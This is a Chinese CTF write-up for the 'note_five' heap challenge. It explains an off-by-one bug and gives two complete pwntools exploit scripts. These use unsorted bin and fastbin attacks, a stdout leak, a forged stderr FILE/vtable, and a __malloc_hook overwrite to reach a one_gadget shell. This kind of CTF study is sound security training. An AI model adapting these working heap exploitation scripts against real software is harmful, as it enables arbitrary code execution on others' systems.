阅读大佬的wp后复现了一下本题的多种解法
题目分析
-
本题是一道菜单题,只有new、edit和delete功能,没有show功能。不存在UAF。
-
edit所用的输入函数存在Off-By-One漏洞
-
chunk 的大小限制在 0x8f ~ 0x400
解题思路1(exp见文末)
利用Off-By-One
漏洞构造Overlapping
,构造块的bk 为global_max_fast -0x10
, unsorted bin attack
修改global_max_fast
;利用 stdout-0x51
处的 0xff 作为 chunk 的 size,fast bin attack
到_IO_2_1_stdout_
附近分配chunk,修改_IO_write_base
中的值,使它指向想要泄露的地址(stdout+0x20),泄露libc;伪造 stderr
,最终触发 IO_flush_all
来 getshell。
此处只细讲泄露libc base后伪造stderr
的部分,前面部分请看exp的注释。
伪造_IO_FILE
需要满足的条件如下,满足其一即可:
一般条件1较容易构造,但因为分配的块位于stdout-0x41
,可以同时控制_IO_2_1_stderr_
的vtable
和wide_data
,所以可以构造条件2。
- stderr 本身满足
fp->_vtable_offset == 0
,不用改 - 构造
mode
fp->_mode > 0
和_wide_data
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
fake_file=''
fake_file+='0'
fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)#fp->_wide_data
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0x1)#fp->_mode > 0
fake_file+=p64(0x0)
fake_file+=p64(0x0)
fake_file+=p64(vtable_address) #fp->vtable
构造的_IO_2_1_stderr_如下
构造的fd->_wide_data
- 最后构造vtable,vtable->_IO_OVERFLOW为one_gadget
fake_file=''
fake_file+='0'
fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x40)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)#stderr->vtable->dummy nobody care |
fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
fake_file+=p64(libc_base+libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable
解题思路2(exp见文末)
泄露libc的方法和解题思路1一样,不再赘述;泄露libc后改malloc_hook
为 one_gadget
,但malloc_hook
低地址处可用的size除了0x7f,最近的只有位于__malloc_hook-0x1a1
的0xff,不过可以通过构造两次chunk,第1个chunk写入1个size提供给第2个chunk,最终控制malloc_hook。
构造第1个chunk:先free掉overlap的那块,改fd为0xff所在的地址,再malloc两次即可,然后在适当的位置(我选择的__malloc_hook'-0xb8
)填入size(0xf1)
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)
new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)
构造第2块还是先把overlap的那块free掉,把fd改为第一块构造size的地址__malloc_hook'-0xb8
,再malloc两次。另外直接改malloc_hook的话rax和栈都不满足要求,加上realloc+13的偏移后rsp+0x30是0(耶)。
delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)
new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)
本文所用exp
exp1
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process('./note_five')
else:
client=remote("112.126.103.195",9999)
elf = ELF('./note_five')
libc = ELF('./libc.so')
def new(idx,size):
io.recvuntil('choice>> ')
io.sendline('1')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('size: ')
io.sendline(str(size))
def edit(idx,content):
io.recvuntil('choice>> ')
io.sendline('2')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('content: ')
io.sendline(content)
def delete(idx):
io.recvuntil('choice>> ')
io.sendline('3')
io.recvuntil('idx: ')
io.sendline(str(idx))
#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)
content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)
content2=''
content2+=p64(0xf1)*20
edit(2,content2)
content3=''
content3+='3'*(0xf0-8)
edit(3,content3)
delete(2)#free (012) to unsorted bin
new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)
delete(1)#free 1 to unsorted bin
#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8
#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)
#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)
new(4,0xf0-8)
new(4,0xf0-8)
fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)
libc.address = u64(io.recv(8))-0x3c5640
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc.address+one_gadgets[2]
#change the stderr to
fake_file=''
fake_file+='0'
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x40)
fake_file+=p64(0)
fake_file+=p64(0)
fake_file+=p64(0)#stderr->vtable->dummy nobody care |
fake_file+=p64(0x1)#stderr->vtable->dummy2 nobody care |
fake_file+=p64(0x0)#stderr->vtable->finish nobody care |
fake_file+=p64(one_gadget)#stderr->vtable->_IO_OVERFLOW getshell|
fake_file+=p64(libc.symbols['_IO_2_1_stdout_']-0x28) #stderr->vtable
edit(4,fake_file)
#getshell
io.recvuntil('choice>> ')
io.sendline('4')#IO_flush_all to _IO_OVERFLOW to onegadget
io.interactive()
exp2
#-*- coding:utf-8 -*-
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process('./note_five.dms')
else:
client=remote("112.126.103.195",9999)
elf = ELF('./note_five.dms')
libc = ELF('./libc.so')
def new(idx,size):
io.recvuntil('choice>> ')
io.sendline('1')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('size: ')
io.sendline(str(size))
def edit(idx,content):
io.recvuntil('choice>> ')
io.sendline('2')
io.recvuntil('idx: ')
io.sendline(str(idx))
io.recvuntil('content: ')
io.sendline(content)
def delete(idx):
io.recvuntil('choice>> ')
io.sendline('3')
io.recvuntil('idx: ')
io.sendline(str(idx))
#overlapping
new(4,0xf0-8)
new(0,0xf0-8)
new(1,0xa0-8)
new(2,0xf0-8)
new(3,0xf0-8)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
delete(0)
content1=''
content1+='1'*(152-8)
content1+=p64(0xf0+0xa0)
content1+='\xf0'
edit(1,content1)
content2=''
content2+=p64(0xf1)*20
edit(2,content2)
content3=''
content3+='3'*(0xf0-8)
edit(3,content3)
delete(2)#free (012) to unsorted bin
new(0,0xf0+0xa0+0xf0-8)#malloc (012)
content0=''
content0+='0'*(0xf0-8)
content0+='\xa1'
edit(0,content0)
content1=''
content1+='1'*(0xa0-8)
content1+='\xf1'
edit(1,content1)
delete(1)#free 1 to unsorted bin
#guess offset
guess_offset = 3#1/16
global_max_fast = (guess_offset << 12) | 0x7f8
stdout = global_max_fast-0x11d8
#unsorted bin attack to change global_max_fast
content0=''
content0+='0'*(0xf0-8)
content0+=p64(0xa1)
content0+=p64(0x0)#fd
content0+=p16(global_max_fast-0x10)#bk
edit(0,content0)
new(1,0xa0-8)#global_max_fast
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
edit(0,content0)
#fast bin attack change the stdout leak libcbase
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p16(stdout-0x51)
edit(0,content0)
new(1,0xf0-8)
new(4,0xf0-8)
fake=''
fake+='0'*0x41
fake+=p64(0xfbad1800)#stdout->flags
fake+=p64(0x0)*3
fake+=p16(stdout+0x20)#stdout->_IO_write_base
edit(4,fake)
libc.address = u64(io.recvuntil('info')[0:8])-0x3c5640
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]#rax 30 50 70
one_gadget=libc.address+one_gadgets[1]
#change malloc_hook
delete(1)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0x1a1)
edit(0,content0)
new(2,0xf0-8)
new(3,0xf0-8)#fake chunk 1
fake_size=''
fake_size+='\x00'*(0xf0-0x10+1)
fake_size+=p64(0xf1)
edit(3,fake_size)
delete(2)
content0=''
content0+='@'*(0xf0-8)
content0+=p64(0xf1)
content0+=p64(libc.symbols['__malloc_hook']-0xb8)
edit(0,content0)
new(1,0xf0-8)
new(1,0xf0-8)#fake chunk 2
fake_mh=''
fake_mh+='\x00'*(0xa0)
fake_mh+=p64(one_gadget)
fake_mh+=p64(libc.symbols['realloc']+13)
edit(1,fake_mh)
#getshell
new(4,1000)
io.interactive()